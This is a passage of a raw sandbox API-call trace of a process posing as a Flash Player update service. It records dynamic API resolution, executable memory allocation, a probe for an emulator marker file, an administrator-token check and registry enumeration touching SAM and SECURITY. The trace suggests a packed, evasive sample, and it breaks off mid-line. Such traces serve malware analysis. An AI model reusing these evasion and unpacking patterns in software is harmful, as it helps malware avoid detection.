[0192.734] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0192.784] ReleaseMutex (hMutex=0xa0) returned 0 [0192.784] CloseHandle (hObject=0xa0) returned 1 [0192.784] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0192.784] GetCommState (in: hFile=0x3b268c, lpDCB=0x37f840 | out: lpDCB=0x37f840) returned 0 [0192.784] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x37f83c, pmr=0x37f828, cht=0x353) returned 0 [0192.784] CloseClipboard () returned 0 [0192.785] CoUninitialize () [0192.785] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0192.785] ReleaseMutex (hMutex=0xa0) returned 0 [0192.785] CloseHandle (hObject=0xa0) returned 1 [0192.785] GetLocalTime (in: lpSystemTime=0x37fadc | out: lpSystemTime=0x37fadc*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x18, wSecond=0x5, wMilliseconds=0x35)) [0192.785] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x37f55c | out: ProcedureAddress=0x37f55c*=0x77011856) returned 0x0 [0192.785] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000 [0192.899] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x37f55c | out: ProcedureAddress=0x37f55c*=0x77011856) returned 0x0 [0192.899] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x70000 [0192.900] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x37f5f4 | out: ProcedureAddress=0x37f5f4*=0x770149d7) returned 0x0 [0192.900] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x37f5f4 | out: ProcedureAddress=0x37f5f4*=0x77011222) returned 0x0 [0192.900] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x37f5f4 | out: ProcedureAddress=0x37f5f4*=0x77011856) returned 0x0 [0192.900] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x37f5f4 | out: ProcedureAddress=0x37f5f4*=0x7701435f) returned 0x0 [0192.900] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0192.900] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0192.900] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0192.900] VirtualProtect (in: lpAddress=0x1100000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x37f6a8 | out: lpflOldProtect=0x37f6a8*=0x2) returned 1 [0192.910] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1f0000 [0192.913] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0192.913] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0192.913] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0192.913] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0193.550] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.563] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xdc0000 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x104) returned 0xdc07d0 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc08e0 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0968 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc09f0 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0a78 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0b00 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0b88 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0c10 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0c98 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0d20 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0da8 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0e30 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0eb8 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0f40 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc0fc8 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc1050 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdc10d8 [0193.573] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x400) returned 0xdc1160 [0193.573] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xd30000 [0193.573] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd307d0 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd30858 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd308e0 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x184) returned 0xd30968 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30af8 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30b40 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30b88 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30bd0 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30c18 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30c60 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30ca8 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30cf0 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30d38 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30d80 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30dc8 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30e10 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30e58 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30ea0 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30ee8 [0193.574] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30f30 [0193.574] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x37f1e4, nSize=0x1000 | out: lpFilename="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe")) returned 0x3f [0193.575] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd30f78 [0193.575] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2c) returned 0xd3b828 [0193.589] GetVersionExW (in: lpVersionInformation=0x37f804*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x37f804*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0193.589] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x37f7ec | out: Wow64Process=0x37f7ec) returned 1 [0193.589] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x37f7c8 | out: TokenHandle=0x37f7c8*=0xa0) returned 1 [0193.589] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x37f7c4 | out: TokenInformation=0x0, ReturnLength=0x37f7c4) returned 0 [0193.589] GetLastError () returned 0x7a [0193.589] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3b860 [0193.589] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0xd3b860, TokenInformationLength=0x58, ReturnLength=0x37f7c4 | out: TokenInformation=0xd3b860, ReturnLength=0x37f7c4) returned 1 [0193.589] AllocateAndInitializeSid (in: pIdentifierAuthority=0x37f7d4, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x37f7cc | out: pSid=0x37f7cc*=0x3c28f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0193.589] EqualSid (pSid1=0x3c28f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xd3b884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0193.589] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b860) returned 1 [0193.589] NtClose (Handle=0xa0) returned 0x0 [0193.589] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3b860 [0193.590] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3b8a8 [0193.592] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x280) returned 0xd3b930 [0193.592] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0193.598] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xd3b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0193.598] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.598] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bc58 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xd3bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bca0 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc58) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bca0) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.599] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xd3b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bca0 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xd3bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bc58 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bca0) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc58) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.599] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xd3b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bc58 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xd3bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bca0 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc58) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bca0) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.599] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xd3b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bca0 [0193.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xd3bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bc58 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bca0) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc58) returned 1 [0193.599] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.599] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xd3b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0193.599] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bc58 [0193.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xd3bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bca0 [0193.600] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bc58) returned 1 [0193.600] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bca0) returned 1 [0193.600] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.600] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x37f75c | out: phkResult=0x37f75c*=0xa0) returned 0x0 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x184) returned 0xd3d040 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bca0 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bc58 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bce8 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bd30 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bd78 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bdc0 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3be08 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3be50 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3be98 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bee0 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bf28 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bf70 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3bfb8 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c000 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c048 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c090 [0193.600] RegCloseKey (hKey=0x80000002) returned 0x0 [0193.600] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xd3b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0193.600] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xd3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.601] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xd3b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.601] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xd3b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.601] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xd3b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0193.601] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.601] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.601] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xd3b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.602] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0xd3b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, 